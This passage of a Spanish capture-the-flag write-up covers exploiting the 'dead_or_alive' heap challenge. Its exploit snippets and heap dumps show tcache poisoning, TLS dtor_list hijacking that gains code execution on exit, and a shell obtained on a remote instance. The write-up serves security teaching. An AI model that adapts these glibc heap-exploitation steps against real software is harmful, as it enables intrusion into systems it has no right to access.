0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000055a13790a300 0x0000000000000071 | ...7.U..q....... |
0x55a13790a300|+0x00020|+0x00300: 0x0000000000001337 0x0000000000000101 | 7............... |
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000031 | P.......1....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Nótese que 0x000055a13790a300
apunta al chunk falso de 0x71
, y también aparece en los índices 1
y 2
de la lista Bounties
. Por lo tanto, podemos eliminarlo y obtener un trozo libre ahí mismo:
delete(create(0x64, b'asdf'))
delete(1)
gef> visual-heap -n
0x55a13790a000|+0x00000|+0x00000: 0x0000000000000000 0x0000000000000291 | ................ |
0x55a13790a010|+0x00010|+0x00010: 0x0001000000050007 0x0000000000020000 | ................ |
0x55a13790a020|+0x00020|+0x00020: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a030|+0x00030|+0x00030: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a040|+0x00040|+0x00040: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a050|+0x00050|+0x00050: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a060|+0x00060|+0x00060: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a070|+0x00070|+0x00070: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a080|+0x00080|+0x00080: 0x0000000000000000 0x0000000000000000 | ................ |
0x55a13790a090|+0x00090|+0x00090: 0x000055a13790a370 0x000055a13790a3e0 | p..7.U.....7.U.. |
0x55a13790a0a0|+0x000a0|+0x000a0: 0x0000000000000000 0x000055a13790a2f0 | ...........7.U.. |
0x55a13790a0b0|+0x000b0|+0x000b0: 0x0000000000000000 0x000055a13790a300 | ...........7.U.. |
0x55a13790a0c0|+0x000c0|+0x000c0: 0x0000000000000000 0x0000000000000000 | ................ |
* 28 lines, 0x1c0 bytes
0x55a13790a290|+0x00000|+0x00290: 0x0000000000000000 0x0000000000000051 | ........Q....... |
0x55a13790a2a0|+0x00010|+0x002a0: 0x4141414141414141 0x00007f4c79923d70 | AAAAAAAAp=.yL... |
0x55a13790a2b0|+0x00020|+0x002b0: 0x0000000000000018 0x0000000000000100 | ................ |
0x55a13790a2c0|+0x00030|+0x002c0: 0x0000000000000000 0x0000000000000071 | ........q....... |
0x55a13790a2d0|+0x00040|+0x002d0: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a2e0|+0x00000|+0x002e0: 0x0000000000000020 0x0000000000000051 | .......Q....... |
0x55a13790a2f0|+0x00010|+0x002f0: 0x000000055a13790a 0x7d6e2088ec6b30a5 | .y.Z.....0k.. n} | <- tcache[idx=3,sz=0x50][1/1]
0x55a13790a300|+0x00020|+0x00300: 0x000055a46d83dc7a 0x7d6e2088ec6b3000 | z..m.U...0k.. n} | <- tcache[idx=5,sz=0x70][1/2]
0x55a13790a310|+0x00030|+0x00310: 0x0000000000000000 0x0000000000000021 | ........!....... |
0x55a13790a320|+0x00040|+0x00320: 0x00007f4c79923ce0 0x00007f4c79923ce0 | .<.yL....<.yL... |
0x55a13790a330|+0x00000|+0x00330: 0x0000000000000050 0x0000000000000031 | P.......1....... |
0x55a13790a340|+0x00010|+0x00340: 0x000055a13790a2a0 0x0000000000000000 | ...7.U.......... |
0x55a13790a350|+0x00020|+0x00350: 0x0000000000000048 0x0000000000000101 | H............... |
...
Hay que tener en cuenta que tenemos dos chunks del Tcache que se superponen, por lo que podemos usar esto para crear otro chunk de 0x71
y modificar el puntero fd
del chunk solapado para que apunte al offset apropiado de TLS-storage:
create(0x48, b'B' * 8 + p64(0x71) + p64(obfuscate(tls_addr - 0x80 + 0x20, heap_addr)), amount=0x41)
create(0x64, b'asdf')
gef> tcachebins
[!] tcache[idx=5, sz=0x70] is corrupted.
----------------------------------------------------------------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------------------------------------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x55a13790a370 count=7
-> Chunk(base=0x55a13790a360, addr=0x55a13790a370, size=0x20, flags=PREV_INUSE, fd=0x55a46d83daca(=0x55a13790a3c0))
-> Chunk(base=0x55a13790a3b0, addr=0x55a13790a3c0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd1a(=0x55a13790a410))
-> Chunk(base=0x55a13790a400, addr=0x55a13790a410, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dd6a(=0x55a13790a460))
-> Chunk(base=0x55a13790a450, addr=0x55a13790a460, size=0x20, flags=PREV_INUSE, fd=0x55a46d83ddba(=0x55a13790a4b0))
-> Chunk(base=0x55a13790a4a0, addr=0x55a13790a4b0, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc0a(=0x55a13790a500))
-> Chunk(base=0x55a13790a4f0, addr=0x55a13790a500, size=0x20, flags=PREV_INUSE, fd=0x55a46d83dc5a(=0x55a13790a550))
-> Chunk(base=0x55a13790a540, addr=0x55a13790a550, size=0x20, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=1, size=0x30, @0x55a13790a098]: fd=0x55a13790a480 count=3
-> Chunk(base=0x55a13790a470, addr=0x55a13790a480, size=0x30, flags=PREV_INUSE, fd=0x55a46d83ddda(=0x55a13790a4d0))
-> Chunk(base=0x55a13790a4c0, addr=0x55a13790a4d0, size=0x30, flags=PREV_INUSE, fd=0x55a46d83dc2a(=0x55a13790a520))
-> Chunk(base=0x55a13790a510, addr=0x55a13790a520, size=0x30, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=5, size=0x70, @0x55a13790a0b8]: fd=0x7f4c797076e0 count=1
-> Chunk(base=0x7f4c797076d0, addr=0x7f4c797076e0, size=0x7f4c798c93c0, flags=, fd=0x000000000000(=0x0007f4c79707), corrupted)
-> 0x7f4c79707 [corrupted chunk]
[+] Found 11 valid chunks in tcache.
Como dividimos el payload en dos, necesitamos realizar el mismo proceso nuevamente con otro tamaño de chunk, por ejemplo, 0x41
:
delete(create(0x38, b'asdf'))
a = create(0x38, b'a')
b = create(0x38, b'b')
delete(a)
delete(b)
create(0x28, p64(heap_addr + 0x3f0) + p64(0x41) + p64(0x1337) + p64(0x101))
delete(a)
create(0x38, b'C' * 24 + p64(0x21) + p64(obfuscate(tls_addr + 0x30, heap_addr)))
for _ in range(3):
create(0x18, b'Z')
Después de un poco más de heap feng-shui, Obtenemos el siguiente estado del heap, donde los próximos chunks van a TLS-storage desde dos tipos de chunks:
gef> tcachebins
[!] tcache[idx=0, sz=0x20] is corrupted.
[!] tcache[idx=5, sz=0x70] is corrupted.
----------------------------------------------------------------------------------------- Tcache Bins for arena 'main_arena' -----------------------------------------------------------------------------------------
tcachebins[idx=0, size=0x20, @0x55a13790a090]: fd=0x7f4c79707770 count=4
-> Chunk(base=0x7f4c79707760, addr=0x7f4c79707770, size=0x2a7b2359b0fead00, flags=, fd=0x90a3f64d66a17387(=0x90a3f64a9266e480), corrupted)
-> 0x90a3f64a9266e480 [corrupted chunk]
tcachebins[idx=2, size=0x40, @0x55a13790a0a0]: fd=0x55a13790a620 count=2
-> Chunk(base=0x55a13790a610, addr=0x55a13790a620, size=0x40, flags=PREV_INUSE, fd=0x55a46d83dcea(=0x55a13790a5e0))
-> Chunk(base=0x55a13790a5d0, addr=0x55a13790a5e0, size=0x40, flags=PREV_INUSE, fd=0x00055a13790a(=0x000000000000))
tcachebins[idx=5, size=0x70, @0x55a13790a0b8]: fd=0x7f4c797076e0 count=1
-> Chunk(base=0x7f4c797076d0, addr=0x7f4c797076e0, size=0x7f4c798c93c0, flags=, fd=0x000000000000(=0x0007f4c79707), corrupted)
-> 0x7f4c79707 [corrupted chunk]
[+] Found 4 valid chunks in tcache.
Ahora necesitamos encontrar una manera de llamar a exit
. La única forma es aumentar bounty_idx
hasta 50:
if (49 < bounty_idx) {
error("Maximum number of bounty registrations reached. Shutting down...");
/* WARNING: Subroutine does not return */
exit(-1);
}
Por lo tanto, solo necesitamos crear los chunks necesarios (excepto dos), usar tamaños de chunks no corruptos, y luego intentar crear otro. Pero antes de eso, necesitamos colocar el payload de TLS-storage dtor_list
de forma que que obtengamos ejecución del código arbitrario al usar exit
:
for _ in range(23):
create(0x28, b'Z')
create(0x18, null_ptr_mangle_cookie)
create(0x64, tls_payload)
io.sendlineafter(b'==> ', b'1')
io.recv()
io.interactive()
Con todo esto, obtenemos una shell. Vamos a ejecutarlo de nuevo:
$ python3 solve.py
[*] './dead_or_alive_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
[*] './glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Starting local process './dead_or_alive_patched': pid 636490
[*] Heap base address: 0x556a32140000
[+] Glibc base address: 0x7ff8b78fc000
[*] Switching to interactive mode
$ ls
dead_or_alive dead_or_alive_patched glibc solve.py
Flag
Ejecutémoslo en la instancia remota para obtener la flag:
$ python3 solve.py 83.136.250.179:34317
[*] './dead_or_alive_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc'
Stripped: No
[*] './glibc/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No
Debuginfo: Yes
[+] Opening connection to 83.136.250.179 on port 34317: Done
[*] Heap base address: 0x56267bb09000
[+] Glibc base address: 0x7f122e839000
[*] Switching to interactive mode
$ ls
dead_or_alive
flag.txt
glibc
$ cat flag.txt
HTB{cLu5t3r5_m05t_w4nt3d_h4cK3r_aefb45837315dc3e750cb6d9850285f2}
El código del exploit completo está aquí: solve.py
.